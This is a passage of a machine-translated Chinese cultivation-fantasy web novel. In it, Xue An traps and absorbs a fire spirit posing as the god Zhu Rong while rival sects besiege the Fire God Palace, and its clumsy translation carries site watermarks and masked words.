    It seemed that he heard his shout, and suddenly a light sigh came from the idol, and then heard a majestic voice.


    "Since I know it''s me, why don''t you kneel?"


    This voice rumbling in this huge temple, full of shocking pressure.


    But even in this rolling sound wave, Xue An still stands upright as a sword.


    "Why should I kneel? Just because you are a god?"


    The voice was as cold as ice, but unexpectedly, instead of being angry, this idol chuckled.


    "Sure enough to be a Chinese person, the bones are hard enough!"


    Xue An looked at this statue with piercing eyes.


    Suddenly.


    But seeing a man wearing a crown appeared before the idol.


    After this man appeared, the whole hall was brightened a bit.


    "I really didn''t expect that after countless years, there will be Chinese descendants stepping on this land!"


    Xue An didn''t say a word, but looked at the man thoughtfully.


    "Hey! Why is it so lively today, there is another group of people outside, and there is a witch atmosphere among them, young people, is that also your companion?"


    "Except for the two who came with me just now, none of the others!" Xue An said solemnly.


    "Hehe, in that case, let them stay outside for a while! As for your two companions, don��t worry, I just let them go to other places to rest for a while. After all, only Chinese people have them. Qualified to step into this temple!"


    "So, you are really Zhu Rong, the **** of fire, and this is really the legendary mountain?" Xue An ignored the man''s rants and asked straightforwardly.


    "Do you think that besides the original god, who else is qualified to be called the **** of fire? As for this mountain..."


    "Of course it''s not Zhoushan!"


    Speaking of this, the man suddenly flashed, and then he came to Xue An''s body.


    "Not only does you have a Chinese breath, you also have a very special flame. It seems to be a pure daytime fire, but it is mixed with other things. Can you show me?"


    Although it was in a negotiating tone, in the next instant, Xue An''s red lotus industry fire in the sea of ??knowledge flew out involuntarily, and came to the man.

 Chapter 2244： Close but like a moat

    At this moment, the Witch God Sect and the Zhai family finally rushed out of the Fire God Palace.


    After seeing the majestic palace in front of him, Zhai Dewen''s eyes were full of brilliance, "Is this the Xianzong Dongfu? It really is extraordinary!"


    With that said, he couldn''t help rushing forward, wanting to enter this dreamy cave as soon as possible.


    The old woman of the Witch God Sect wanted to stop, but the saint shook her head slightly, and then smiled and looked at Zhai Dewen''s back.


    God knows if there is any danger in this palace. Since this guy is willing to take the lead, let him try it first!


    But in the next second, her wishful thinking fell through.


    I saw this Zhai Dewen strode forward, and in the blink of an eye, he was only a few steps away from the Fire God Palace.


    But then a strange scene happened, no matter how he ran, he couldn''t get any closer.


    This Fire God Palace is like a dream that is beyond reach, and will always be only a few steps away from him.


    But this is as far away as the end of the world.


    The smile on the saint''s face solidified, and everyone noticed the strangeness.


    Zhai Dewen also woke up from greed, then stopped, looking at the palace in front of him that seemed to be reachable by just reaching out, his face was full of astonishment.


    "What''s going on? Why did I get in just one step away, but how come I can''t touch it?" Zhai Dewen whispered softly.


    The old woman sneered, "I''ve said long ago, wait for the naked-eye mortal, even if this Xianzong Dongfu is placed in front of you, you may not be able to recognize it, now you are convinced!"


    Zhai Dewen''s face was pale, but he could not refute it.


    At this moment, the saint said solemnly: "No, there is weirdness in it, everyone rush forward together!"


    With that, she rushed forward immediately, trying to enter the Fire God Palace.


    The rest of the people followed one after another, but they were all the same as Zhai Dewen. They were all within a short distance from the Fire God Palace and could no longer deposit them.


    Even this saint is no exception, but of course she will not let it go, just listen to her groan.


    "Sorcerer God now!"


    boom!


    Another witch **** with blue face and fangs appeared behind her, and then slammed a punch towards the front.


    This punch was enough to blast a big hole in the space, but when it was only a short distance from the Fire God Palace, it was still blocked by an insurmountable barrier.


    Then the witch **** was shaken back for a half step, but this also aroused the ferocity of this witch god.


    He raised his head, roared silently, and then waved his fists in an attempt to smash the barrier completely.


    boom!


    There was another loud noise, and the barrier gleamed slightly, but Xuan even showed a ray of fire, and it quickly spread to the fist of the shaman god.


    In an instant, the fist and even arms of this shaman **** were directly burned into nothingness.


    Although it was only a virtual image, this kind of pain still made this shaman **** struggle.


    The saint quickly recalled the witch god, trying to avoid the flame''s attack.


    But everything is too late.


    However, in a moment, this ray of flame completely incinerated the witch god, making it into nothingness.


    The saint snorted, her face turned pale, and she was obviously injured slightly.


    "Holy woman!" The old woman immediately asked in surprise.


    The saint waved her hand, indicating that she was okay, and even said with a gloomy expression.


    "Stop it all, with our current strength, it is impossible to break through this barrier and enter this palace!"


    Hearing this, everyone stopped in unison.


    Zhai Dewen looked desperate and unwilling, "What should I do? Is it just giving up like this?"


    "Of course not. In order to be here, I even lost a witch **** guard. How could I give up at this time!"


    "That saint means..."


    "Obviously, the people who broke into this place before have now entered this palace, so we are not allowed to enter, so now the only way is to seal the place tightly and wait for those people to come out of it!"


    Zhai Dewen and the others all lit up, and the old woman was even more ruthless.


    "Yes, didn''t those guys have entered the Xianzong Dongfu? Although they are one step ahead of us, I don''t believe that they won''t come out. We are waiting here. As soon as they appear, we will capture them immediately. At that time, no matter what they gain in it, it will be ours!"


    The saint also nodded, "The mother-in-law is right, everyone will completely block this place now!"


    "Yes!"


    The Sorcerer Sect and the Zhai family made a sensation and immediately sealed off the Fire God Palace.


    But unlike everyone who is inevitable, Zhai Zhuqing, the eldest lady of the Zhai family, looked pale and looked at this tall palace with sorrow.


    Things... will it really be as simple as my father and others think?


    At the same time, in this Fire God Palace.


    The man squeezed the ray of red lotus karma, looked at it with curiosity for a moment, and then smiled slightly.


    "A very interesting flame, but it is still mixed with the power of causation?"


    As he said, he looked up at Xue An, "Chinese boy, how did you get this flame?"


    "Come by accident!"


    "Come by accident? It''s a joke. Although this pure daytime fire is not too high for me, it is already regarded as a supreme and noble thing in the outside world. Can you come by accident?"


    As the man said, he closed his fists abruptly, and the red lotus karma was struck out with a pop of fire.


    Xue An shook slightly, his face appeared solemn.


    Because since he condensed the red lotus karma fire, it is truly invincible, everything is unbreakable, and it can be called an invincible existence.


    But I never expected that such a flame would be as weak as a candle in the hands of this man.


    Xue An couldn''t help raising his eyebrows, and said coldly: "What do you mean?"


    "Hehe, it''s meaningless, I just want to tell you that the flame you cherish is nothing but a common fire in my eyes!"


    As he said, the man stretched out his hand, and a ray of colorful flame suddenly rose from his fingertips.


    That''s right!


    It is colorful. UU reading www. uuk��nshu.com


    As soon as the flame came out, the temperature of the entire hall rose by more than one degree, and Xue An, who was the nearest, felt the pain of his face being burnt.


    What shocked him even more was that when he saw this ray of flame, the red lotus karma fire in the sea of ??consciousness came out directly, and then suspended in mid-air to worship the flame in the man''s hand.


    The red lotus industry fire, unexpectedly surrendered.


    At the same time, I saw that the flame in the man''s hand was turning white and transparent at a speed visible to the naked eye.


    In the blink of an eye, this ray of flame is like a swaying air current, except for the image refracted when it sways, you can''t even see its existence.


    But the more so, the more powerful that kind of power will be.


    The man said quite proudly: "Have you seen it, this is the real supreme in the fire, the existence of everything!"


    Xue An''s complexion was a little pale in the light of the fire, only a pair of eyes were shining like stars, staring at the flame without saying a word.

 Chapter 2245： Different fires

    The man smiled at Xue An, "Chinese teenager, you can come here as a destiny. Now I will give you a great opportunity. Would you like it?"


    "What opportunity?" Xue An said coldly.


    "It''s very simple. I will give this flame to you. As long as you swallow it, your red lotus karmic fire will be promoted again and reach an unprecedented height! By then, you will not only be invincible at the same level, even if the spike is one higher than you. It��s also easy for a class-strong powerhouse!"


    "Is that so amazing?"


    "of course!"


    The man vowed to say that he almost raised his hand to pat his chest as a guarantee, but he suddenly remembered something, and quickly put his hand down again, and looked at Xue An with some guilty conscience, as if he was afraid that he would see the same.


    But Xue An seemed to be ignorant of all this, and instead showed a pleasant smile.


    "If that''s the case, it would be great, then give me this flame now! I''m anxious to use it!"


    With that, Xue An stretched out his hand to catch the flame in the man''s hand.


    "Hey, don''t worry!" The man was secretly overjoyed in his heart, but he pretended to be calm and light, and smiled and took a step back, avoiding Xue An''s hand.


    "What''s the matter? Didn''t you just say that you want to give me a chance? Do you want to go back?" Xue An asked puzzled.


    "Of course not, I am a dignified fire god, how can I go back when I say it! I just want to tell you that this flame is a strange fire that was first bred by the chaos when the universe was first opened, and it is extremely overbearing. Powerful, I give it to you directly. Not only will you swallow and digest it, you will be hurt!"


    "Then what to do?" Xue An asked anxiously.


    "Hehe, if you want to get this opportunity, there is only one way, and that is to temporarily occupy your body and condense this flame for you through my unique Vulcan physique, young man, what do you think?"


    Xue An showed hesitation.


    The man hurriedly added: "Don''t worry, I am a dignified ancient fire god, and I will never have other meanings. I just think you are a Chinese junior, so I want to help you!"


    Xue An hesitated for a moment, and finally nodded, "Okay! In order to get this opportunity, just do as you said!"


    The man was overjoyed, but on the surface he tried his best not to show it. He just said indifferently: "Okay! That being the case, then you can relax now and open the sea of ??knowledge!"


    Xue An did what he said, and the man smiled, and then he couldn''t wait to fly into Xue An''s sea of ??knowledge.


    But at this moment, Xue An opened his eyes suddenly, and said with some confusion: "Are you sure you will give this flame to me?"


    "Of course, can there be any remorse for what I said!"


    "There is no danger?"


    "Don''t worry, absolutely not!"


    Xue An didn''t say a word anymore, but looked at the man quietly.


    The man scratched his heart anxiously, but did not dare to show it, he could only look at Xue An with majesty.


    "If you don''t want to, then you can give up now, but it''s a pity this opportunity!"


    As he said, he pretended to be a pity and sighed.


    "Okay, let''s start!" After saying that, Xue An closed his eyes again, and then opened the sea of ??knowledge.


    The man almost cheered, but when he reached his mouth, he was crushed into a cough, and then said: "Relax, I am coming!"


    With the voice, but seeing his figure flashed, he suddenly turned into a ray of fire and flew into Xue An''s sea of ??knowledge.


    That kind of urgency was like being afraid that Xue An would run away.


    But he didn''t notice it at all. At the moment when he just flew into the sea of ??knowledge, a smile appeared on Xue An''s mouth, and then the brilliance in his eyes gradually fell silent, sinking all the spiritual thoughts into the consciousness. In the sea.


    At the same time, the man opened his eyes confidently, and what he saw was an endless wilderness.


    He couldn''t help but said in amazement: "I really didn''t see that this person''s sea of ??knowledge is so vast, it shows that his talent is really good!"


    Speaking of this, he couldn''t help getting even more excited.


    "Hey, how can it be good? Didn''t you make a wedding dress for me?"


    Just as he was preparing for the next move, Xue An''s voice came from a distance, "Oh? Really!"


    As he said, Xue An''s figure emerged and looked at him with a smile.


    The man was taken aback, and even if he coughed a little awkwardly, "Ahem, I think you have misunderstood, what I meant just now..."


    Before he finished speaking, Xue An waved his hand disapprovingly, "No need to explain, in fact, I have known that you are not the real Vulcan Zhu Rong, and I know that your so-called gift to me is just to seize the body! "


    As soon as the words came out, the man''s eyes were full of energy, and then the smile on his face quickly faded, staring at Xue An coldly.


    "So you knew it a long time ago!"


    "Of course! Actually from the moment I stepped into this temple, I knew that you would definitely not be the true God of Fire Zhu Rong!"


    "Oh? Why are you so sure!"


    "Because if it is really the ancient fire god, do you think he will stay in such a tomb?"


    Hearing Xue An''s use of a tomb to describe this temple, the man''s complexion changed again.


    "You actually even know this?"


    "Hehe, what''s hard to guess? This Buzhou Mountain is originally incomplete, and this Fire God Palace has no aura, no style at all that the ancient Immortal Sect should have, so this is not a Xianzong Dongfu at all. , But a tomb!"


    "A tomb containing ancient fires! And you..."


    Xue An''s eyes flickered, "It''s a strange fire that has turned on the wisdom for no reason, right?"


    As soon as this remark came out, the man looked up to the sky and laughed. In the laughter, his image began to change rapidly, from a majestic man to an aura of youth in the blink of an eye.


    "Chinese man, I have to admit that you are indeed smart enough, but I still have a question!"


    "Say!"


    "Since you know this, why let me enter your sea of ??knowledge?"


    Xue An smiled, "What do you think?"


    The boy��s smile is getting colder how? Want to subdue me and swallow me? "


    "Couldn''t it?"


    "Haha! What a joke!" The young man sneered with disdain.


    "Actually, you just made a mistake. Although I was made from different fires, I am not only one strand, but formed by the gathering and tempering of all fires, so I can be regarded as the ancestor of all fires. Command the world to fire!"


    Speaking of this, the young man glanced at Xue An with contentment.


    But Xue An shrugged disapprovingly, "Oh? It turned out to be like this, then what?"


    "then?"


    The boy was completely irritated by Xue An''s understatement. With a roar, countless fires of different colors immediately appeared around his body.


    "Then I will make you my avatar today and escape from this ghost place!"


    When the words fell, all fires rushed straight to Xue An.

 Chapter 2246： Dead fish

    But these flames were frozen in the air by an invisible force as soon as they were halfway, and then dissipated like fireworks.


    The teenager was shocked and roared in disbelief, "How could this be!"


    Xue An smiled faintly, "Why isn''t it like this? I think you should have forgotten, whose home court is here!"


    Following the voice, seeing the brilliance flashed in Xue An''s eyes, the vast and majestic spirit suddenly appeared, trapping the young man in it.


    The young man''s discoloration changed.


    Because he never dreamed that a guy who was only a half-step immortal would actually have such a powerful spiritual mind.


    Now he couldn''t help but groan secretly in his heart.


    If you knew this was the case, even if he borrowed his courage, he would not dare to enter Xue An''s sea of ??knowledge at will.


    Because this young man entered the Tao with fire and could control the flames of the world, but he was not born with spiritual wisdom after all, so his divine consciousness was simply weak and pitiful.


    Under this change, the young man is naturally frightened.


    But now, it''s too late to regret.


    Therefore, the boy gritted his teeth and said, "Whose home game is the same. Today is either you die or I live, take my life!"


    As he said, the boy''s figure suddenly turned into a flame, and then appeared behind Xue An with a punch.


    Xue An didn''t even look behind him, but said indifferently: "Why don''t you understand, here, if I don''t allow it, even working hard is a luxury for you!"


    When the words fell, countless vines emerged out of thin air, directly binding the boy firmly and lifting it into the air.


    The boy struggled several times to no avail, and a look of horror appeared in his eyes.


    At the same time, Xue An slowly turned around and looked at him with a playful look.


    "Is there anything else I want to say?"


    The boy''s pupils instantly shrank to the size of a needle tip, because he felt an indescribable heart palpitations from Xue An''s simple words.


    "Boy, don''t think that trapping me can succumb to me and swallow me. Tell you, it''s useless. As a body of fire spirit, I am not something you can take in! Even if your mind is strong It''s useless!" The young man shouted in anger.


    Xue An smiled freely, and then said slowly: "Encounter? This word is not used very well, as if I was a gangster who molested the women of the Liang family!"


    This sentence reminded the young man, seeing his eyes blinking, the whole person was easily transformed into a beautiful beauty in a flash.


    Then "he" smiled at Xue An, and said in a very graceful female voice: "This lord, the little girl knows that I was wrong, can you let me go?"


    To be honest, the beauty of the woman transformed by this fire spirit is simply the only thing Xue An has seen in his life.


    And unlike An Yan''s gentle atmosphere, Yue Qinghuan''s beautiful and delicious food, this woman''s appearance has been so beautiful that it is almost illusory, giving people a very strong sense of unreality.


    But it is this feeling that brings out the extraordinary of "he" even more.


    At least Xue An''s eyes showed a touch of surprise.


    It seemed that he had noticed this scene, and the smile on "he"''s face became more sincere, and looked at Xue An with anticipation.


    Not to mention anything else, just the gentle eyes are not something ordinary people can resist.


    But Xue An chuckled at this moment, "If I don''t know that Huo Ling is genderless, I might be fooled by you!"


    As soon as this statement was made, the "woman" instantly lost her voice, and then reverted to the image of a young boy, and said solemnly.


    "How about we change the way?"


    "Oh? How can I change it?"


    "What you want is just a chance. I can give you a ray of flame to help you advance, but the premise is that you have to let me go first!"


    After speaking, the young man raised his head and stared at Xue An coldly. There was an indescribable pride between Gu and Pan, as if his proposal was some kind of great gift.


    Xue An looked at the boy and suddenly laughed.


    "It seems that you haven''t set your position right up to now. Since I can catch you, why don''t I just absorb all your flames, and instead accept what you call a gift?"


    "Because you can''t do it!" The boy sneered.


    "I just said that without my permission, you can''t swallow the flames that absorb me at all, understand?"


    "Is that so sure?" Xue An said with a smile.


    "Of course!" The boy''s chin was raised higher.


    "Hehe, then you see what this is!"


    With that, Xue An patted his palm lightly, and a figure of a man appeared behind Xue An, and then bowed in salute.


    "the host!"


    After seeing this man, the boy''s eyes widened instantly, and he shouted two words in disbelief.


    "Gluttonous!?"


    Xue An smiled and said, "Yes, it''s gluttony!"


    Speaking of this, Xue An looked at the young man with a playful look, "Do you think it is possible to digest your flames with this ancient alien beast that likes to swallow things the most?"


    This fire spirit never dreamed that Xue An would actually have such an ancient beast. You must know that gluttony usually likes to swallow all kinds of treasures.


    Unfortunately, as a supernatural being, he is a treasure in the eyes of Taotie.


    Therefore, when he saw the greed in Taotie''s eyes at this moment, he couldn''t help shaking.


    "Actually, I didn''t want to do things so absolutely. The problem is that you had impure motives from the beginning. You first tried to lure me into fools, and then seized the body by means. If I hadn''t noticed it early, it might be true. Just follow your way, there is no burial place for death."


    "So you ended up in this end, it''s all your fault!" Xue An sighed lightly.


    These words made the young man''s complexion paler, and a deep despair appeared in his eyes.


    Because this is obviously a harbinger of hands-on.


    really.


    The glutton behind Xue An suddenly opened his mouth, and a ball of light flew into Xue An''s body.


    It is the swallowing ability that gluttonous most proud of.


    After acquiring this ability, Xue An walked towards the teenager.


    The teenager was so frightened, UU reading suddenly crossed his mind.


    "Since you don''t want to let me go, let''s die!"


    When the words fell, the young man''s eyes flashed with brilliance.


    Xue An''s heart moved, and then he asked in a cold voice: "Did you unlock the prohibition of the Fire God Palace?"


    "Yes!" The boy was almost crazy at this time.


    "Now, you and two of your friends will be exposed, and if I guess right, those people outside are your opponents, right? Now, I want to see how you respond! "


    "Because even if you swallow me, there is no chance to get out of this world! Hahahahaha."


    The boy laughed.


    A look of anger appeared in Xue An''s eyes, and the vines that bound the boy instantly penetrated into the boy''s body. At the same time, Xue An frantically urged the swallowing ability borrowed from gluttonous, and began to swallow and absorb the majestic flames that surged.


    Because Xue An knows very well that this will be the only way to break the game now.

 Chapter 2247： Siege

    If he turned and left now to deal with those outside, he would really be caught in the trap of this fire spirit.


    Because once he didn''t suppress himself here, he would immediately escape.


    Therefore, for the present plan, the only way to go is to completely swallow this fire spirit as soon as possible, and to take its flame as one''s own.


    boom!


    When the majestic flame power rushed into Xue An''s soul, the powerful impact shocked Xue An''s mind.


    He knew that he was about to enter a state of retreat and concentration, otherwise it would not be enough to absorb all this.


    Therefore he yelled at the end, "Got, you have come to know the sea now, protect the law for me!"


    Seeing Xue An, who was unsteady due to the influx of flames, gluttonously fell silent for a moment, and then bowed his head deeply.


    "Yes!"


    After all, his figure flashed, and he flew out of the sea of ??knowledge.


    As soon as he left his front foot, Xue An''s sea of ??consciousness was completely closed, and he started to deal with this fire spirit with all his strength.


    At the same time, outside the Fire God Palace, the Sorcerer Sect and the Zhai family who were being tightly sealed, all noticed the strangeness the first time the prohibition disappeared.


    "The prohibition has disappeared, the group of people should still be inside, immediately charge me in!" the saint of the witch **** sect shouted decisively.


    Everyone moved after hearing the wind, rushing into the Fire God Palace.


    Because this Immortal Cave Mansion is right in front of you, if you can take the first step, you might get some benefits.


    With this thought in mind, everyone rushed into the Fire God Palace.


    Especially the Zhai Dewen, who has paid a heavy price for coming here, is even a little mad at the moment.


    But after everyone rushed in, they discovered that none of the imaginary secrets of the heavenly materials and the treasured exercises had appeared.


    On the contrary, there is only an empty hall facing him.


    And the moment they rushed into the hall.


    Yue Qinghuan and Zhu Zhesheng, who had been fascinated by the illusion of the fire spirit before, also happened to wake up.


    The two sides happened to fight each other, they couldn''t help looking at each other, they all froze in place.


    Zhu Zhesheng was the first to break this weird silence, and saw him trembling and pointing at Zhai Zhuqing.


    "Bitch, you really betrayed me!"


    Zhai Zhuqing was pale and pushed back with some guilty conscience.


    And here, the saint of the witch **** sect sneered, "I really didn''t expect that the soldiers from the military sect were also involved in it?"


    And Yue Qinghuan, who had just woke up in the illusion, swept the temples in his ears, and sneered: "Shu Ling''er, didn''t you also stay in the witch **** cult, did you come here?"


    That''s right!


    Yue Qinghuan knew the witch goddess.


    Both are the best among the younger generation of Tian Waitian, the two have met more than once, but is there a relationship...?


    Different people have different opinions.


    At least as a military heir to one of the ancient hundred schools, Yue Qinghuan couldn''t look down on this witch goddess sage anyway.


    And this Shu Ling''er also felt that Yue Qinghuan was only relying on family power to show off his power, not to mention that the situation of the Yue family was deteriorating now, so she was quite disdainful of Yue Qinghuan.


    And after meeting in this place, the two of them were even more tense and uncompromising.


    However, at this time, the disparity in the strength of the two sides is evident.


    The leaders of Shu Ling''er were all elites of the Witch God Sect. Although the Zhai family suffered heavy casualties, the ones who eventually survived and walked here were all extraordinary powerhouses.


    And Yue Qinghuan is the only two people here, Zhu Zhesheng, and Zhu Zhesheng''s strength is not even worth mentioning.


    So even if Yue Qinghuan struggled to maintain it, he was still forced to retreat again and again by this power.


    Seeing this scene, Shu Ling''er couldn''t help but sneer slightly, "Yue Qinghuan, I really didn''t expect you to have today too! Why? What about the usual arrogance and arrogance? Where did it go?"


    Shu Ling''er thought that Yue Qinghuan would not dare to say anything at this time, but she didn''t expect Yue Qinghuan to reply unceremoniously after hearing these words: "My old lady has always been arrogant. If you are not convinced, come and hit me now!"


    Shu Ling''er''s eyes gradually became gloomy.


    To be honest, she really didn''t want to have a head-on conflict with Yue Qing.


    After all, no matter how the Yue family is now in decline, it is also a branch of the dignified ancient hundreds of families, not to mention that Yue Qinghuan''s legendary brother is not easy to provoke.


    So she couldn''t help but hesitate.


    At this moment, before the original shrine in the main hall, a burst of fire suddenly appeared, and then Xue An''s figure emerged from it.


    I saw him sitting staggering, with his back facing everyone, his aura was even more ups and downs like a stormy sea.


    Everyone was taken aback.


    This Shu Ling''er was the first to react, "Quickly, catch him!"


    With an order, everyone including Zhai''s family rushed forward, trying to deal with Xue An.


    Yue Qinghuan also reacted at this moment, and a flash appeared behind Xue An, trying to block these people.


    But how could it be possible for such a large number of opponents by herself.


    At this moment, accompanied by a terrifying roar, gluttonous gluttonous appeared in the field, and then shot out with a palm.


    The elite sorcerer cultivators who rushed to the front were shattered without even humming.


    Then gluttony fell on the ground, and said in a deep voice: "gluttony is here, let me see who dares to hurt my lord!"


    Gourmet!


    In an instant, the pupils of everyone present shrank for it.


    This Shu Ling''er looked at Taotie in disbelief, and muttered: "How could this happen, how could Taotie recognize the human race as the master?"


    But the facts were in front of her, and she couldn''t help but believe it.


    At this time, she was a little stubborn.


    Because what she is best at is summoning the witch **** to descend, but the gluttonous talent just restrains her.


    Therefore, she could only look at Xue An, who was sitting in the distance, with a green face, her eyes full of unwillingness.


    But it is impossible for her to just give up.


    After all, she has already used a lot of resources in the teaching for this Xianzong Dongfu matter. If she returns without success, even if she is a saint, her position will be seriously shaken.


    So she squinted to the left and right without moving a look The people around me understood, and immediately dispersed left and right, besieging Yue Qinghuan and the gluttonous group.


    Not only that, but Shu Ling''er quietly pinched the Yin Jue and sent a message out to ask for help.


    She thought very simple, don''t you want to protect this person?


    Well, let''s spend it together to see if the person you are protecting wakes up first or my reinforcements arrive first.


    The situation immediately entered a state of confrontation.


    Taotie didn''t say a word, standing by Xue An''s side and waiting.


    At this time, Zhu Zhesheng approached Yue Qinghuan and said in a low voice: "Miss Yue, these people obviously want to trap us to death, what should we do now?"


    Yue Qinghuan''s face was as cold as ice, "Don''t worry, let''s watch it first!"


    Zhu Zhesheng nodded, then looked at Zhai Zhuqing who was hiding in the crowd with infinite bitterness.


    His hatred towards Zhai''s family is deep into his bones. If it weren''t for his lack of strength, he would really wish to rush to kill this **** to death.

 Chapter 2248： Witch god

    At the same time, facing Zhu Zhesheng''s bitter gaze, Zhai Zhuqing retreated unnaturally, full of anxiety and anxiety.


    According to her idea, she shouldn''t have coveted this Xianzong Dongfu at the beginning, but her father didn''t listen at all, and insisted on cooperating with the Sorcerer Sect. As a result, the army was lost, and this finally led to the current situation.


    But now, regret is useless.


    So what she is looking forward to most now is to end the matter here as soon as possible, and it is best to completely eliminate this Zhu Zhe Sheng, so as to avoid future troubles.


    So she hid behind the crowd and quietly observed the development of the situation.


    After being in a confrontational state, Yue Qinghuan and Zhu Zhesheng simply sat down cross-legged, guarding behind Xue An.


    Shu Ling''er just smiled coldly at this, quite confident in her heart.


    Because she had just received a reply, the squad of the witch **** sect was rushing here, and it was estimated that it could be here in one day at most.


    At that time, even if the gluttonous food is guarded here, it will not help.


    So she also relaxed and watched there with a calm expression on her face.


    As time passed by, the atmosphere became more and more anxious.


    Xue An''s momentum still fluctuated like a tide, just like Yue Qinghuan''s mood at the moment.


    She knew very well that Shu Ling''er was waiting for reinforcements, so she could only pray silently in her heart.


    Xue An, you have to wake up as soon as possible!


    But things are like this, the more you look forward to it, the more things will go in the opposite direction.


    When the time had just passed one day, there was a loud noise outside, and then an old and majestic voice came.


    "The Great Elder of the Witch God Sect is here, where is the saint!"


    When she heard this voice, Shu Ling''er was overjoyed and immediately shouted: "Great Elder, Ling''er is here!"


    The voice just fell, but a group of blue energy broke into the temple in an instant, and then a human form was condensed.


    I saw this man with an ancient face and a height of more than two meters. Although he had pale eyebrows, there was an indescribable majesty between Gu and Pan.


    It is the great elder Xuantongshu of the witch gods.


    Immediately afterward, countless air masses of different colors poured in behind him, and they turned into human forms, all of them were the elite of the witch **** cult.


    In the blink of an eye, the hall became lively.


    This Shu Ling''er was overjoyed when she saw this, and she immediately stepped forward and said, "Ling''er has seen Elder Xuan!"


    Xuantongshu nodded slightly, "Well, the saint does not need to be polite, you did a good job in this matter, I will naturally make it clear to the leader afterwards!"


    "Thank you Elder Xuan!"


    Although Shu Ling''er is a saint of the Witch God Sect, this Xuantongshu is an old man who has experienced three cult leaders, and her strength is unfathomable.


    In particular, there are rumors that he has a guardian witch god, but his true body has come.


    All of this made this Xuantongshu an existence second only to the leader in the Witch God Sect.


    So even if Shu Ling''er saw him, she still had to obey the younger generation.


    Xuan Tongshu first looked at the tall idol on the shrine of the main hall, and then cast his gaze on Xue An, who was sitting in front of the shrine with his back facing everyone.


    After feeling that Xue An''s breath was constantly rising and falling, Xuantongshu smiled coldly, and then slowly turned his head to look at Xiang Yue Qinghuan.


    "Miss Yue, your soldiers and my witch gods have always kept the water in the well, so I hope you can stay out of this matter. As long as you agree, I promise you will never hurt you and let you go. How about?"


    Yue Qinghuan naturally recognized this Xuantongshu. In fact, after seeing him coming, Yue Qinghuan couldn''t help but groan secretly.


    How could this old guy come here? Things are going to be tricky now.


    Because whether it is cultivation level or identity, this Xuantongshu is much higher than himself.


    But now, she has no retreat, she can only bite the bullet.


    "Hehe, it turned out to be Elder Xuan. I really didn''t expect this incident to shock you too. It seems that the Sorcerer Sect is very important to this Fire God Palace!"


    Yue Qinghuan chuckled and said, then his eyes flowed, "It stands to reason that you are an elder, I should listen to you, but..."


    The smile on Yue Qinghuan''s face became colder, "This Xianzong Dongfu was originally discovered and passed on by us first, but now your witch **** sect keeps me out of the way. Do you think this is possible?"


    As soon as he said this, Xuantongshu narrowed his eyes.


    "Oh? So, Miss Yue refused?"


    "Of course not! With just a word of yours, we have to give you the chance. How can there be such good things in the world?"


    "Yes! And this Xianzong Dongfu is a secret kept by my Zhu family for generations. It was taken out of my mouth by you through extremely despicable means. Let us leave now. It is absolutely impossible!" Zhu Zhesheng also shouted stand up.


    "Very good!" Xuantongshu didn''t get angry, just nodded, and then pointed at Xue An''s back.


    "Miss Yue, I want to know who this man is from you?"


    "friend!"


    "Just friends?"


    "Isn''t that enough?"


    Xuan Tongshu looked at Xue An''s back again in surprise.


    With his eyes, it is natural to see that Xue An''s current strength is only half a step Xianzun.


    This kind of cultivation base does not say a lot of it in this outer sky, but it is definitely not outstanding.


    It can be seen that Yue Qinghuan''s attitude toward him everywhere, and the gluttony who loyally guards Xue An''s side, all these have cast a layer of mystery over Xue An''s origins.


    However, as Yue Qinghuan said, the Witch God Sect is bound to win this Fire God Palace.


    Otherwise, he would not personally lead someone over after receiving Shu Ling''er''s request for help.


    So no matter who this person is, Xuantongshu is not going to let it go today.


    "In this case, it seems that there is no need for negotiation, Miss Yue, I hope that after you are injured, you will not have resentment towards the old man. After all...this is your own responsibility!"


    When the words fell, Xuantong Shu stepped forward and went straight to Xue An.


    The speed was so fast that there was a gust of wind in this hall.


    Yue Qinghuan snorted softly, UU reading "This road is nowhere, go back!"


    Following the voice, she clenched her palm into a fist and blasted out a punch.


    This fist was upright, but extremely powerful, and it was the Yue family''s most prestigious fighting fist.


    But as soon as Yue Qinghuan''s fist was halfway through, he didn''t see any movement from Xuan Tongshu, and a huge invisible force came out, directly slamming Yue Qinghuan out and hitting the shrine.


    "Miss Yue!"


    Zhu Zhesheng screamed, and then rushed up with his eyes flushed, wanting to kill Xuantongshu.


    But with his slight strength, how could it be possible to get close to Xuantongshu''s body.


    With just a flick of his finger, Saint Zhu Zhe flew out and smashed the altar in front of the shrine, then thumped to the ground without making a sound.


    After resolving the two lightly, Xuantongshu continued to move forward.


    But his feet had just stepped into Xue An''s surroundings, and the gluttony who had not said a word coldly shouted: "Get out!"

 Chapter 2249： Return to Xianzun! !

    With the voice, but seeing the gluttonous roar, both fists were sent straight to the face of Xuantongshu.


    Xuan Tongshu didn''t panic about this, but chuckled lightly: "I really didn''t expect that the fierce beast Gourmet would be so loyal to a human race."


    He said, but saw that his hand appeared in front of the face door within a short period of time, and it happened to catch the two punches that gluttonously blasted.


    Then he took a half step back under the unimaginable force of gluttony.


    After all, manpower is no match for the gluttony of one of the four evil beasts in the ancient times.


    Taotie naturally saw this too, and he couldn''t help but screamed, and continued to push forward, wanting to fly the old guy out.


    But at this moment, I saw a flash of icy brilliance that did not resemble humans in Xuan Tongshu''s eyes, and then said in a cold and evil tone.


    "A gluttonous little beast that is underage, dare to be presumptuous in front of the deity?"


    Following the voice, behind Xuantongshu suddenly appeared a shaman **** who could not see clearly but was extremely powerful.


    The witch **** clings to the back of Xuantongshu, then stretched his arms forward, and together he grabbed the gluttonous fist.


    In the next instant, this gluttony felt an unimaginable force suddenly surged from the opposite side.


    In an instant, the wrists of Taotie''s hands were directly shattered, and at the same time this force spread upward, shattering Taotie''s arms and shoulder blades one after another, and rushed out from the back, shaking the wall not far away by two. A deep fist mark stirred up countless smoke and dust.


    Gourmet snorted, but he was not unhappy when he saw the opportunity. At the moment he was injured, he showed his original form, then opened his mouth, and bit towards the Xuantongshu and the witch **** behind him.


    But just as his mouth stretched out before Xuantong wrote, Xuantong lifted his hand to support his mouth, and then pulled it hard.


    With a click, Tatuo''s jaw shattered, and then Tatuo let out an extremely painful roar.


    Xuantong was expressionless in writing, and with both hands, he lifted the gluttonous food over his head abruptly, and then threw it out.


    Under the blessing of the guardian witch **** Juli, Xuantongshu threw the gluttonous food directly onto the distant idol.


    Hearing only a loud rumbling noise, this tall idol was smashed into two pieces by gluttonous gluttons from the middle.


    The upper part of the body fell down, just hitting Xue An before the shrine.


    Xue An didn''t realize it, and was about to be overwhelmed by countless pieces.


    A figure suddenly appeared in front of Xue An, and with a wave of his slender hand, all the pieces were blocked.


    It was Yue Qinghuan who was shaken out before.
